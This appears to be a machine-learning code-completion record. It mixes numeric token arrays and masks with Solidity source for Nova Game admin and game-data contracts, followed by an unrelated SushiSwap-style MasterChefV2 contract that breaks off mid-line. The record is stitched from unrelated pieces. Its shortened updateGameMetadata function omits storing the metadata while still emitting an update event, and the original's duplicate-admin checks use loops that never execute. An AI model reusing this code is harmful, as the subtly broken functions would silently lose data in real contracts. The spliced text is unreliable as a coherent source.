[ 1, 95, 203, 203, 565, 445, 3410, 1190, 9446, 424, 614, 5157, 12, 203, 3639, 2254, 5034, 13667, 548, 16, 203, 3639, 1758, 8027, 203, 565, 262, 203, 3639, 1071, 203, 3639, 1338, 5541, 203, 3639, 1661, 426, 8230, 970, 203, 3639, 1135, 261, 11890, 5034, 13, 203, 203, 203, 5666, 288, 14223, 6914, 289, 628, 315, 3190, 94, 881, 84, 292, 267, 17, 30205, 560, 19, 16351, 87, 19, 995, 12565, 19, 5460, 429, 18, 18281, 14432, 203, 5666, 288, 868, 8230, 12514, 16709, 289, 628, 315, 3190, 94, 881, 84, 292, 267, 17, 30205, 560, 19, 16351, 87, 19, 5471, 19, 426, 8230, 12514, 16709, 18, 18281, 14432, 203, 5666, 288, 3287, 289, 628, 25165, 1119, 18, 18281, 14432, 203, 5666, 288, 7807, 2828, 289, 628, 25165, 11299, 19, 4446, 2828, 18, 18281, 14432, 203, 5666, 288, 467, 29281, 8465, 289, 628, 25165, 15898, 19, 45, 29281, 8465, 18, 18281, 14432, 203, 5666, 288, 2971, 3057, 23601, 289, 628, 25165, 15898, 19, 2579, 3057, 23601, 18, 18281, 14432, 203, 5666, 288, 11322, 289, 628, 25165, 2941, 19, 5749, 18, 18281, 14432, 203, 5666, 288, 5294, 395, 289, 628, 25165, 2941, 19, 29281, 18, 18281, 14432, 203, 5666, 288, 26196, 289, 628, 25165, 2941, 19, 11415, 14911, 18, 18281, 14432, 203, 5666, 288, 3155, 289, 628, 25165, 2941, 19, 1345, 18, 18281, 14432, 203, 16351, 7807, 353, 203, 565, 288, 203, 3639, 327, 7807, 2828, 18, 8443, 1190, 9446, 424, 614, 5157, 12, 203, 5411, 314, 67, 2019, 16, 203, 5411, 13667, 548, 16, 2 ]
pragma solidity ^0.4.23; // @title iNovaStaking // @dev The interface for cross-contract calls to the Nova Staking contract // @author Dragon Foundry (https://www.nvt.gg) // (c) 2018 Dragon Foundry LLC. All Rights Reserved. This code is not open source. contract iNovaStaking { function balanceOf(address _owner) public view returns (uint256); } // @title iNovaGame // @dev The interface for cross-contract calls to the Nova Game contract // @author Dragon Foundry (https://www.nvt.gg) // (c) 2018 Dragon Foundry LLC. All Rights Reserved. This code is not open source. contract iNovaGame { function isAdminForGame(uint _game, address account) external view returns(bool); // List of all games tracked by the Nova Game contract uint[] public games; } // @title SafeMath // @dev Math operations with safety checks that throw on error library SafeMath { // @dev Multiplies two numbers, throws on overflow. function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; require(c / a == b, "mul failed"); return c; } // @dev Integer division of two numbers, truncating the quotient. function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } // @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "sub fail"); return a - b; } // @dev Adds two numbers, throws on overflow. function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "add fail"); return c; } } // @title Nova Game Access (Nova Token Game Access Control) // @dev NovaGame contract for controlling access to games, and allowing managers to add and remove operator accounts // @author Dragon Foundry (https://www.nvt.gg) // (c) 2018 Dragon Foundry LLC. All Rights Reserved. This code is not open source. contract NovaGameAccess is iNovaGame { using SafeMath for uint256; event AdminPrivilegesChanged(uint indexed game, address indexed account, bool isAdmin); event OperatorPrivilegesChanged(uint indexed game, address indexed account, bool isAdmin); // Admin addresses are stored both by gameId and address mapping(uint => address[]) public adminAddressesByGameId; mapping(address => uint[]) public gameIdsByAdminAddress; // Stores admin status (as a boolean) by gameId and account mapping(uint => mapping(address => bool)) public gameAdmins; // Reference to the Nova Staking contract iNovaStaking public stakingContract; // @dev Access control modifier to limit access to game admin accounts modifier onlyGameAdmin(uint _game) { require(gameAdmins[_game][msg.sender]); _; } constructor(address _stakingContract) public { stakingContract = iNovaStaking(_stakingContract); } // @dev gets the admin status for a game & account // @param _game - the gameId of the game // @param _account - the address of the user // @returns bool - the admin status of the requested account for the requested game function isAdminForGame(uint _game, address _account) external view returns(bool) { return gameAdmins[_game][_account]; } // @dev gets the list of admins for a game // @param _game - the gameId of the game // @returns address[] - the list of admin addresses for the requested game function getAdminsForGame(uint _game) external view returns(address[]) { return adminAddressesByGameId[_game]; } // @dev gets the list of games that the requested account is the admin of // @param _account - the address of the user // @returns uint[] - the list of game Ids for the requested account function getGamesForAdmin(address _account) external view returns(uint[]) { return gameIdsByAdminAddress[_account]; } // @dev Adds an address as an admin for a game // @notice Can only be called by an admin of the game // @param _game - the gameId of the game // @param _account - the address of the user function addAdminAccount(uint _game, address _account) external onlyGameAdmin(_game) { require(_account != msg.sender); require(_account != address(0)); require(!gameAdmins[_game][_account]); _addAdminAccount(_game, _account); } // @dev Removes an address from an admin for a game // @notice Can only be called by an admin of the game. // @notice Can&#39;t remove your own account&#39;s admin privileges. // @param _game - the gameId of the game // @param _account - the address of the user to remove admin privileges. function removeAdminAccount(uint _game, address _account) external onlyGameAdmin(_game) { require(_account != msg.sender); require(gameAdmins[_game][_account]); address[] storage opsAddresses = adminAddressesByGameId[_game]; uint startingLength = opsAddresses.length; // Yes, "i < startingLength" is right. 0 - 1 == uint.maxvalue, not -1. for (uint i = opsAddresses.length - 1; i < startingLength; i--) { if (opsAddresses[i] == _account) { uint newLength = opsAddresses.length.sub(1); opsAddresses[i] = opsAddresses[newLength]; delete opsAddresses[newLength]; opsAddresses.length = newLength; } } uint[] storage gamesByAdmin = gameIdsByAdminAddress[_account]; startingLength = gamesByAdmin.length; for (i = gamesByAdmin.length - 1; i < startingLength; i--) { if (gamesByAdmin[i] == _game) { newLength = gamesByAdmin.length.sub(1); gamesByAdmin[i] = gamesByAdmin[newLength]; delete gamesByAdmin[newLength]; gamesByAdmin.length = newLength; } } gameAdmins[_game][_account] = false; emit AdminPrivilegesChanged(_game, _account, false); } // @dev Adds an address as an admin for a game // @notice Can only be called by an admin of the game // @notice Operator privileges are managed on the layer 2 network // @param _game - the gameId of the game // @param _account - the address of the user to // @param _isOperator - "true" to grant operator privileges, "false" to remove them function setOperatorPrivileges(uint _game, address _account, bool _isOperator) external onlyGameAdmin(_game) { emit OperatorPrivilegesChanged(_game, _account, _isOperator); } // @dev Internal function to add an address as an admin for a game // @param _game - the gameId of the game // @param _account - the address of the user function _addAdminAccount(uint _game, address _account) internal { address[] storage opsAddresses = adminAddressesByGameId[_game]; require(opsAddresses.length < 256, "a game can only have 256 admins"); for (uint i = opsAddresses.length; i < opsAddresses.length; i--) { require(opsAddresses[i] != _account); } uint[] storage gamesByAdmin = gameIdsByAdminAddress[_account]; require(gamesByAdmin.length < 256, "you can only own 256 games"); for (i = gamesByAdmin.length; i < gamesByAdmin.length; i--) { require(gamesByAdmin[i] != _game, "you can&#39;t become an operator twice"); } gamesByAdmin.push(_game); opsAddresses.push(_account); gameAdmins[_game][_account] = true; emit AdminPrivilegesChanged(_game, _account, true); } } // @title Nova Game (Nova Token Game Data) // @dev NovaGame contract for managing all game data // @author Dragon Foundry (https://www.nvt.gg) // (c) 2018 Dragon Foundry LLC. All Rights Reserved. This code is not open source. contract NovaGame is NovaGameAccess { struct GameData { string json; uint tradeLockSeconds; bytes32[] metadata; } event GameCreated(uint indexed game, address indexed owner, string json, bytes32[] metadata); event GameMetadataUpdated( uint indexed game, string json, uint tradeLockSeconds, bytes32[] metadata ); mapping(uint => GameData) internal gameData; constructor(address _stakingContract) public NovaGameAccess(_stakingContract) { games.push(2**32); } // @dev Create a new game by setting its data. // Created games are initially owned and managed by the game&#39;s creator // @notice - there&#39;s a maximum of 2^32 games (4.29 billion games) // @param _json - a json encoded string containing the game&#39;s name, uri, logo, description, etc // @param _tradeLockSeconds - the number of seconds a card remains locked to a purchaser&#39;s account // @param _metadata - game-specific metadata, in bytes32 format. function createGame(string _json, uint _tradeLockSeconds, bytes32[] _metadata) external returns(uint _game) { // Create the game _game = games.length; require(_game < games[0], "too many games created"); games.push(_game); // Log the game as created emit GameCreated(_game, msg.sender, _json, _metadata); // Add the creator as the first game admin _addAdminAccount(_game, msg.sender); // Store the game&#39;s metadata updateGameMetadata(_game, _json, _tradeLockSeconds, _metadata); } // @dev Gets the number of games in the system // @returns the number of games stored in the system function numberOfGames() external view returns(uint) { return games.length; } // @dev Get all game data for one given game // @param _game - the # of the game // @returns game - the game ID of the requested game // @returns json - the json data of the game // @returns tradeLockSeconds - the number of card sets // @returns balance - the Nova Token balance // @returns metadata - a bytes32 array of metadata used by the game function getGameData(uint _game) external view returns(uint game, string json, uint tradeLockSeconds, uint256 balance, bytes32[] metadata) { GameData storage data = gameData[_game]; game = _game; json = data.json; tradeLockSeconds = data.tradeLockSeconds; balance = stakingContract.balanceOf(address(_game)); metadata = data.metadata; } // @dev Update the json, trade lock, and metadata for a single game // @param _game - the # of the game // @param _json - a json encoded string containing the game&#39;s name, uri, logo, description, etc // @param _tradeLockSeconds - the number of seconds a card remains locked to a purchaser&#39;s account // @param _metadata - game-specific metadata, in bytes32 format. function updateGameMetadata(uint _game, string _json, uint _tradeLockSeconds, bytes32[] _metadata) public onlyGameAdmin(_game) { gameData[_game].tradeLockSeconds = _tradeLockSeconds; gameData[_game].json = _json; bytes32[] storage data = gameData[_game].metadata; if (_metadata.length > data.length) { data.length = _metadata.length; } for (uint k = 0; k < _metadata.length; k++) { data[k] = _metadata[k]; } for (k; k < data.length; k++) { delete data[k]; } if (_metadata.length < data.length) { data.length = _metadata.length; } emit GameMetadataUpdated(_game, _json, _tradeLockSeconds, _metadata); } }
@dev Update the json, trade lock, and metadata for a single game @param _game - the # of the game @param _json - a json encoded string containing the game&#39;s name, uri, logo, description, etc @param _tradeLockSeconds - the number of seconds a card remains locked to a purchaser&#39;s account @param _metadata - game-specific metadata, in bytes32 format.
function updateGameMetadata(uint _game, string _json, uint _tradeLockSeconds, bytes32[] _metadata) public onlyGameAdmin(_game) { gameData[_game].tradeLockSeconds = _tradeLockSeconds; gameData[_game].json = _json; bytes32[] storage data = gameData[_game].metadata; emit GameMetadataUpdated(_game, _json, _tradeLockSeconds, _metadata); }
7,873,513
[ 1, 1891, 326, 1163, 16, 18542, 2176, 16, 471, 1982, 364, 279, 2202, 7920, 225, 389, 13957, 300, 326, 225, 434, 326, 7920, 225, 389, 1977, 300, 279, 1163, 3749, 533, 4191, 326, 7920, 10, 5520, 31, 87, 508, 16, 2003, 16, 19128, 16, 2477, 16, 5527, 225, 389, 20077, 2531, 6762, 300, 326, 1300, 434, 3974, 279, 5270, 22632, 8586, 358, 279, 5405, 343, 14558, 10, 5520, 31, 87, 2236, 225, 389, 4165, 300, 7920, 17, 12524, 1982, 16, 316, 1731, 1578, 740, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 1089, 12496, 2277, 12, 11890, 389, 13957, 16, 533, 389, 1977, 16, 2254, 389, 20077, 2531, 6762, 16, 1731, 1578, 8526, 389, 4165, 13, 203, 565, 1071, 203, 565, 1338, 12496, 4446, 24899, 13957, 13, 203, 225, 288, 203, 565, 7920, 751, 63, 67, 13957, 8009, 20077, 2531, 6762, 273, 389, 20077, 2531, 6762, 31, 203, 565, 7920, 751, 63, 67, 13957, 8009, 1977, 273, 389, 1977, 31, 203, 203, 565, 1731, 1578, 8526, 2502, 501, 273, 7920, 751, 63, 67, 13957, 8009, 4165, 31, 203, 203, 565, 3626, 14121, 2277, 7381, 24899, 13957, 16, 389, 1977, 16, 389, 20077, 2531, 6762, 16, 389, 4165, 1769, 203, 225, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT // Special Thanks to @BoringCrypto for his ideas and patience pragma solidity 0.6.12; pragma experimental ABIEncoderV2; // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SignedSafeMath.sol library SignedSafeMath { int256 constant private _INT256_MIN = -2**255; /** * @dev Returns the multiplication of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow"); int256 c = a * b; require(c / a == b, "SignedSafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two signed integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "SignedSafeMath: division by zero"); require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow"); int256 c = a / b; return c; } /** * @dev Returns the subtraction of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow"); return c; } /** * @dev Returns the addition of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow"); return c; } function toUInt256(int256 a) internal pure returns (uint256) { require(a >= 0, "Integer < 0"); return uint256(a); } } /// @notice A library for performing overflow-/underflow-safe math, /// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math). library BoringMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow"); } function to128(uint256 a) internal pure returns (uint128 c) { require(a <= uint128(-1), "BoringMath: uint128 Overflow"); c = uint128(a); } function to64(uint256 a) internal pure returns (uint64 c) { require(a <= uint64(-1), "BoringMath: uint64 Overflow"); c = uint64(a); } function to32(uint256 a) internal pure returns (uint32 c) { require(a <= uint32(-1), "BoringMath: uint32 Overflow"); c = uint32(a); } } /// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint128. library BoringMath128 { function add(uint128 a, uint128 b) internal pure returns (uint128 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint128 a, uint128 b) internal pure returns (uint128 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } } contract BoringOwnableData { address public owner; address public pendingOwner; } contract BoringOwnable is BoringOwnableData { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /// @notice `owner` defaults to msg.sender on construction. constructor() public { owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } /// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner. /// Can only be invoked by the current `owner`. /// @param newOwner Address of the new owner. /// @param direct True if `newOwner` should be set immediately. False if `newOwner` needs to use `claimOwnership`. /// @param renounce Allows the `newOwner` to be `address(0)` if `direct` and `renounce` is True. Has no effect otherwise. function transferOwnership( address newOwner, bool direct, bool renounce ) public onlyOwner { if (direct) { // Checks require(newOwner != address(0) || renounce, "Ownable: zero address"); // Effects emit OwnershipTransferred(owner, newOwner); owner = newOwner; pendingOwner = address(0); } else { // Effects pendingOwner = newOwner; } } /// @notice Needs to be called by `pendingOwner` to claim ownership. function claimOwnership() public { address _pendingOwner = pendingOwner; // Checks require(msg.sender == _pendingOwner, "Ownable: caller != pending owner"); // Effects emit OwnershipTransferred(owner, _pendingOwner); owner = _pendingOwner; pendingOwner = address(0); } /// @notice Only allows the `owner` to execute the function. modifier onlyOwner() { require(msg.sender == owner, "Ownable: caller is not the owner"); _; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); /// @notice EIP 2612 function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; } library BoringERC20 { bytes4 private constant SIG_SYMBOL = 0x95d89b41; // symbol() bytes4 private constant SIG_NAME = 0x06fdde03; // name() bytes4 private constant SIG_DECIMALS = 0x313ce567; // decimals() bytes4 private constant SIG_TRANSFER = 0xa9059cbb; // transfer(address,uint256) bytes4 private constant SIG_TRANSFER_FROM = 0x23b872dd; // transferFrom(address,address,uint256) function returnDataToString(bytes memory data) internal pure returns (string memory) { if (data.length >= 64) { return abi.decode(data, (string)); } else if (data.length == 32) { uint8 i = 0; while(i < 32 && data[i] != 0) { i++; } bytes memory bytesArray = new bytes(i); for (i = 0; i < 32 && data[i] != 0; i++) { bytesArray[i] = data[i]; } return string(bytesArray); } else { return "???"; } } /// @notice Provides a safe ERC20.symbol version which returns '???' as fallback string. /// @param token The address of the ERC-20 token contract. /// @return (string) Token symbol. function safeSymbol(IERC20 token) internal view returns (string memory) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(SIG_SYMBOL)); return success ? returnDataToString(data) : "???"; } /// @notice Provides a safe ERC20.name version which returns '???' as fallback string. /// @param token The address of the ERC-20 token contract. /// @return (string) Token name. function safeName(IERC20 token) internal view returns (string memory) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(SIG_NAME)); return success ? returnDataToString(data) : "???"; } /// @notice Provides a safe ERC20.decimals version which returns '18' as fallback value. /// @param token The address of the ERC-20 token contract. /// @return (uint8) Token decimals. function safeDecimals(IERC20 token) internal view returns (uint8) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(SIG_DECIMALS)); return success && data.length == 32 ? abi.decode(data, (uint8)) : 18; } /// @notice Provides a safe ERC20.transfer version for different ERC-20 implementations. /// Reverts on a failed transfer. /// @param token The address of the ERC-20 token. /// @param to Transfer tokens to. /// @param amount The token amount. function safeTransfer( IERC20 token, address to, uint256 amount ) internal { (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER, to, amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: Transfer failed"); } /// @notice Provides a safe ERC20.transferFrom version for different ERC-20 implementations. /// Reverts on a failed transfer. /// @param token The address of the ERC-20 token. /// @param from Transfer tokens from. /// @param to Transfer tokens to. /// @param amount The token amount. function safeTransferFrom( IERC20 token, address from, address to, uint256 amount ) internal { (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER_FROM, from, to, amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: TransferFrom failed"); } } contract BaseBoringBatchable { /// @dev Helper function to extract a useful revert message from a failed call. /// If the returned data is malformed or not correctly abi encoded then this call can fail itself. function _getRevertMsg(bytes memory _returnData) internal pure returns (string memory) { // If the _res length is less than 68, then the transaction failed silently (without a revert message) if (_returnData.length < 68) return "Transaction reverted silently"; assembly { // Slice the sighash. _returnData := add(_returnData, 0x04) } return abi.decode(_returnData, (string)); // All that remains is the revert string } /// @notice Allows batched call to self (this contract). /// @param calls An array of inputs for each call. /// @param revertOnFail If True then reverts after a failed call and stops doing further calls. /// @return successes An array indicating the success of a call, mapped one-to-one to `calls`. /// @return results An array with the returned data of each function call, mapped one-to-one to `calls`. // F1: External is ok here because this is the batch function, adding it to a batch makes no sense // F2: Calls in the batch may be payable, delegatecall operates in the same context, so each call in the batch has access to msg.value // C3: The length of the loop is fully under user control, so can't be exploited // C7: Delegatecall is only used on the same contract, so it's safe function batch(bytes[] calldata calls, bool revertOnFail) external payable returns (bool[] memory successes, bytes[] memory results) { successes = new bool[](calls.length); results = new bytes[](calls.length); for (uint256 i = 0; i < calls.length; i++) { (bool success, bytes memory result) = address(this).delegatecall(calls[i]); require(success || !revertOnFail, _getRevertMsg(result)); successes[i] = success; results[i] = result; } } } contract BoringBatchable is BaseBoringBatchable { /// @notice Call wrapper that performs `ERC20.permit` on `token`. /// Lookup `IERC20.permit`. // F6: Parameters can be used front-run the permit and the user's permit will fail (due to nonce or other revert) // if part of a batch this could be used to grief once as the second call would not need the permit function permitToken( IERC20 token, address from, address to, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public { token.permit(from, to, amount, deadline, v, r, s); } } interface IRewarder { using BoringERC20 for IERC20; function onSushiReward(uint256 pid, address user, address recipient, uint256 sushiAmount, uint256 newLpAmount) external; function pendingTokens(uint256 pid, address user, uint256 sushiAmount) external view returns (IERC20[] memory, uint256[] memory); } interface IMigratorChef { // Take the current LP token address and return the new LP token address. // Migrator should have full access to the caller's LP token. function migrate(IERC20 token) external returns (IERC20); } interface IMasterChef { using BoringERC20 for IERC20; struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. } struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. SUSHI to distribute per block. uint256 lastRewardBlock; // Last block number that SUSHI distribution occurs. uint256 accSushiPerShare; // Accumulated SUSHI per share, times 1e12. See below. } function poolInfo(uint256 pid) external view returns (IMasterChef.PoolInfo memory); function totalAllocPoint() external view returns (uint256); function deposit(uint256 _pid, uint256 _amount) external; } /// @notice The (older) MasterChef contract gives out a constant number of SUSHI tokens per block. /// It is the only address with minting rights for SUSHI. /// The idea for this MasterChef V2 (MCV2) contract is therefore to be the owner of a dummy token /// that is deposited into the MasterChef V1 (MCV1) contract. /// The allocation point for this pool on MCV1 is the total allocation point for all pools that receive double incentives. contract MasterChefV2 is BoringOwnable, BoringBatchable { using BoringMath for uint256; using BoringMath128 for uint128; using BoringERC20 for IERC20; using SignedSafeMath for int256; /// @notice Info of each MCV2 user. /// `amount` LP token amount the user has provided. /// `rewardDebt` The amount of SUSHI entitled to the user. struct UserInfo { uint256 amount; int256 rewardDebt; } /// @notice Info of each MCV2 pool. /// `allocPoint` The amount of allocation points assigned to the pool. /// Also known as the amount of SUSHI to distribute per block. struct PoolInfo { uint128 accSushiPerShare; uint64 lastRewardBlock; uint64 allocPoint; } /// @notice Address of MCV1 contract. IMasterChef public immutable MASTER_CHEF; /// @notice Address of SUSHI contract. IERC20 public immutable SUSHI; /// @notice The index of MCV2 master pool in MCV1. uint256 public immutable MASTER_PID; // @notice The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; /// @notice Info of each MCV2 pool. PoolInfo[] public poolInfo; /// @notice Address of the LP token for each MCV2 pool. IERC20[] public lpToken; /// @notice Address of each `IRewarder` contract in MCV2. IRewarder[] public rewarder; /// @notice Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; /// @dev Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint; uint256 private constant MASTERCHEF_SUSHI_PER_BLOCK = 1e20; uint256 private constant ACC_SUSHI_PRECISION = 1e12; event Deposit(address indexed user, uint256 indexed pid, uint256 amount, address indexed to); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount, address indexed to); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount, address indexed to); event Harvest(address indexed user, uint256 indexed pid, uint256 amount); event LogPoolAddition(uint256 indexed pid, uint256 allocPoint, IERC20 indexed lpToken, IRewarder indexed rewarder); event LogSetPool(uint256 indexed pid, uint256 allocPoint, IRewarder indexed rewarder, bool overwrite); event LogUpdatePool(uint256 indexed pid, uint64 lastRewardBlock, uint256 lpSupply, uint256 accSushiPerShare); event LogInit(); /// @param _MASTER_CHEF The SushiSwap MCV1 contract address. /// @param _sushi The SUSHI token contract address. /// @param _MASTER_PID The pool ID of the dummy token on the base MCV1 contract. constructor(IMasterChef _MASTER_CHEF, IERC20 _sushi, uint256 _MASTER_PID) public { MASTER_CHEF = _MASTER_CHEF; SUSHI = _sushi; MASTER_PID = _MASTER_PID; } /// @notice Deposits a dummy token to `MASTER_CHEF` MCV1. This is required because MCV1 holds the minting rights for SUSHI. /// Any balance of transaction sender in `dummyToken` is transferred. /// The allocation point for the pool on MCV1 is the total allocation point for all pools that receive double incentives. /// @param dummyToken The address of the ERC-20 token to deposit into MCV1. function init(IERC20 dummyToken) external { uint256 balance = dummyToken.balanceOf(msg.sender); require(balance != 0, "MasterChefV2: Balance must exceed 0"); dummyToken.safeTransferFrom(msg.sender, address(this), balance); dummyToken.approve(address(MASTER_CHEF), balance); MASTER_CHEF.deposit(MASTER_PID, balance); emit LogInit(); } /// @notice Returns the number of MCV2 pools. function poolLength() public view returns (uint256 pools) { pools = poolInfo.length; } /// @notice Add a new LP to the pool. Can only be called by the owner. /// DO NOT add the same LP token more than once. Rewards will be messed up if you do. /// @param allocPoint AP of the new pool. /// @param _lpToken Address of the LP ERC-20 token. /// @param _rewarder Address of the rewarder delegate. function add(uint256 allocPoint, IERC20 _lpToken, IRewarder _rewarder) public onlyOwner { uint256 lastRewardBlock = block.number; totalAllocPoint = totalAllocPoint.add(allocPoint); lpToken.push(_lpToken); rewarder.push(_rewarder); poolInfo.push(PoolInfo({ allocPoint: allocPoint.to64(), lastRewardBlock: lastRewardBlock.to64(), accSushiPerShare: 0 })); emit LogPoolAddition(lpToken.length.sub(1), allocPoint, _lpToken, _rewarder); } /// @notice Update the given pool's SUSHI allocation point and `IRewarder` contract. Can only be called by the owner. /// @param _pid The index of the pool. See `poolInfo`. /// @param _allocPoint New AP of the pool. /// @param _rewarder Address of the rewarder delegate. /// @param overwrite True if _rewarder should be `set`. Otherwise `_rewarder` is ignored. function set(uint256 _pid, uint256 _allocPoint, IRewarder _rewarder, bool overwrite) public onlyOwner { totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint.to64(); if (overwrite) { rewarder[_pid] = _rewarder; } emit LogSetPool(_pid, _allocPoint, overwrite ? _rewarder : rewarder[_pid], overwrite); } /// @notice Set the `migrator` contract. Can only be called by the owner. /// @param _migrator The contract address to set. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } /// @notice Migrate LP token to another LP contract through the `migrator` contract. /// @param _pid The index of the pool. See `poolInfo`. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "MasterChefV2: no migrator set"); IERC20 _lpToken = lpToken[_pid]; uint256 bal = _lpToken.balanceOf(address(this)); _lpToken.approve(address(migrator), bal); IERC20 newLpToken = migrator.migrate(_lpToken); require(bal == newLpToken.balanceOf(address(this)), "MasterChefV2: migrated balance must match"); lpToken[_pid] = newLpToken; } /// @notice View function to see pending SUSHI on frontend. /// @param _pid The index of the pool. See `poolInfo`. /// @param _user Address of user. /// @return pending SUSHI reward for a given user. function pendingSushi(uint256 _pid, address _user) external view returns (uint256 pending) { PoolInfo memory pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accSushiPerShare = pool.accSushiPerShare; uint256 lpSupply = lpToken[_pid].balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 blocks = block.number.sub(pool.lastRewardBlock); uint256 sushiReward = 